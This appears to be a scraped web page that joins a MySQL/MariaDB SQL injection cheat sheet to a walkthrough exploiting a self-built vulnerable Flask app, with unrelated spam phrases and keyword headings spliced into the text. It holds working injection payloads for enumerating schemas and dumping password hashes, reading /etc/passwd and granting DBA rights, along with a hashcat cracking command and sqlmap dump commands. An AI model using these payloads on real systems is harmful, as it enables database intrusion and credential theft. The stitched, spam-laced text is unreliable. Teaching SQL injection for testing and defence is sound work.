Some useful syntax reminders for SQL Injection into MySQL databases…
- Mariadb Run Sql Script
- Mariadb Sql Injection Cheat Sheet Pdf
- Mariadb Sql Syntax
- Mariadb Commands Cheat Sheet
- SQL Injection Cheat Sheet by do son Published April 7, 2017 Updated July 26, 2017 Undoubtedly one of the most famous and important in the world of Hacking and PenTest attacks are SQL injections, this is because the vast majority of systems use managers SQL Databases since in the past for incorrect protocols security was very high number.
- MySQL Cheat Sheet. Help with SQL commands to interact with a MySQL database. MySQL Locations. Mac /usr/local/mysql/bin; Windows /Program Files/MySQL/MySQL version/bin.
- MariaDB/Mysql Cheat Sheet. GitHub Gist: instantly share code, notes, and snippets.
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
MySQL SQL Injection Cheat Sheet; Security Vulnerabilities Fixed in MariaDB. Security Vulnerabilities Fixed in MariaDB; MariaDB Security Risk Matrix; Oracle Critical Patch Update (CPU) Advisory for MySQL. Oracle Critical Patch Update Advisory - Overview; Oracle Critical Patch Update Advisory - January 2021 (43 fixes / 7.5 max score), verbose.
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1; #comment SELECT /*comment*/1; |
| Current User | SELECT user(); SELECT system_user(); |
| List Users | SELECT user FROM mysql.user; — priv |
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
| Password Cracker | John the Ripper will crack MySQL password hashes. |
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
| Current Database | SELECT database() |
| List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
| ASCII Value -> Char | SELECT char(65); # returns A |
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
| Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char); |
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
| Avoiding Quotes | SELECT 0×414243; # returns ABC |
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
| Make DNS Requests | Impossible? |
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
| Hostname, IP Address | SELECT @@hostname; |
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
| Delete Users | DROP USER test1; — priv |
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
| Location of DB files | SELECT @@datadir; |
| Default/System Databases | information_schema (>= mysql 5.0) mysql |
Thanks
Jonathan Turner for @@hostname tip.
Tags: cheatsheet, database, mysql, pentest, sqlinjection
Posted in SQL Injection
According to OWASP, injection attacks are still a common attack vector. There are several tools which can be used to exploit a SQL vulnerability. A personal favourite is SQLmap. However, understanding how SQLi works is an important aspect of penetration testing. It is also crucial to understand how the underlying infrastructure works when conducting these types of attacks. PentestMonkey has a great cheat sheet for when conducting manual SQLi.
Developing a vulnerable application
A vulnerable application was developed using Python with its Flask library. And yes, I am fully aware that the application might be a bit silly. However, these types of vulnerabilities are common due to poor coding practices – which is demonstrated in this example. The code snippet above shows how the application extracts the visitor’s User-Agent and IP address. The values are inserted into the logging table under the user_agent and ip columns. From thereon, the newly logged information is shown to the visitor.
The code itself seems secure enough for many developers, as the SQL query is “properly” formatted and the quotes are prepared on forehand. The format feature is widely used among other Python programmers. The same feature is used to insert the data directly into their specific value. This is (of course) secure! Right…?
The image above shows the application’s feature. When a client visits the web server, the User-Agent and IP address gets stored in the database and informs the user of the values.
Exploitation
The web request is sent to Burp Suite’s repeater. The User-Agent is modified to Hello world!, which has successfully been stored in the database. Great! We can modify the User-Agent and modify the stored value. Now what?
X lite free download for mac. Changing the value to a ' displays an Internal Server Error. This is a clear indication that the value was not understood by the server, which is also known as an insufficient SQL query.
INSERT INTO logging (user_agent, ip) VALUES ('', '192.168.0.51')
The query above is what was executed by the server. No wonder it threw an error! Three ' follow by a , is bad news for the server. The SQL query is not complete. However, this is good news for an attacker, as it is vulnerable to SQLi.
Hello world!', (SELECT VERSION()))-- -
The payload above enters Hello world! into the user_agent table. However, the following value ', is used to “break out” of the SQL query and continue the syntax. From thereon, a subquery is used to select the SQL version number. The version is 10.3.23-MariaDB-1, which is basically MySQL.
Furthermore, when attempting to enumerate the existing databases, the server throws the error Subquery returns more than 1 row. This is because of the insert statement only inserts two values. The first value is used by the User-Agent, whilst the second for the IP address. If the requested output contains more than one value (such as listing the databases), these must be concatenated. Otherwise, the SQL query will not work. Listing the used database with Hello world!', (SELECT database())-- - reveals that the database is named platform. However, listing all the databases is preferred.
However, without all table and column names in the database, there is still “nothing” we can do. Therefore, the database’s contents must be enumerated further.
Hello world!', (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata))-- -
The output displays that there are two databases: information_schema and platform. These are now concatenated together due to the output limitation.
Hello world!', (SELECT GROUP_CONCAT(table_schema, table_name, column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'))-- -
The query above enumerates all tables and columns in the platform database. The output shows a series of interesting tables, such as usernames and passwords.
The table and column names in the platform database have now been discovered. The final step is to select these values.
The usernames were successfully extracted from the usernames table. Free online multiplayer games for mac no download. However, the values are still concatenated, as the query would not work without the GROUP_CONCAT() function.
The passwords were also successfully extracted from the database. The hashes can now be appropriately formatted before being cracked with either Hashcat or John the Ripper.
gareth:$2a$10$zd96ciX9Z8rWZOGFB7k/ou8gIWLeFqDcFAY9nqkQUui4Gy/vE1gUq
john:$2a$10$MVMc8UJdcP9UrOoN46aNbOn6zP.13jt11uQzQ8xTBoMogaS2gPK.6
foo:$2a$10$FYJCqeO//Uq9EblIO4wfyezxUo.g/qtpynfyAJAe4pv9OPM/XoTuu
hashcat -D 2 -a 0 -m 3200 crack.txt /usr/share/seclists/Passwords/darkc0de.txt
Mariadb Run Sql Script
The hashes can be cracked with hashcat with the syntax shown above. Any wordlist will do for weak/common passwords (such as these. Feel free to crack them). However, ensure that the driver for your GPU is installed, as hashcat supports GPU cracking, which is tremendously more powerful than CPU.
Fast track with SQLmap
sqlmap -u http://192.168.0.51:5000/ --dbms=mysql
The following syntax will automatically attempt to inject different payloads to exploit SQLi vulnerabilities. SQLmap will automatically detect injection points and attempt to exploit these, such as user agents, cookies, post data, etc. The level of testing can be adjusted with the --level flag.
Mariadb Sql Injection Cheat Sheet Pdf
SQLmap noticed that the User-Agent parameter was injectable, and started to conduct further queries in depth.
sqlmap -u http://192.168.0.51:5000/ --dbms=mysql -D platform -T passwords -C user_password --dump
Mariadb Sql Syntax
SQLmap can enumerate the databases (--dbs), tables (--tables), and columns (--columns). After enumerating the tables and columns, the values can be dumped out using --dump, as shown in the syntax above.
The passwords were successfully dumped by SQLmap. This demonstrates that the attacker does not require any advanced SQL knowledge to exploit a SQL vulnerability.
Conclusion
SQL vulnerabilities are very serious, as they could lead to exposure of the entire database. Prepared statements should be used to ensure that user input cannot “break out” and modify the SQL query.
Mariadb Commands Cheat Sheet
Using automated tools can also be used to exploit this type of vulnerability, which could lead to remote access. SQLmap has a feature called --os-shell, which uploads a fully interactive web shell on the targeted system. The web shells are supported on ASP, ASPX, JSP, and PHP. Not only can SQLmap expose the entire database, but also grant a reverse shell. SQLmap allows an attacker with very little knowledge to exploit a SQL vulnerability.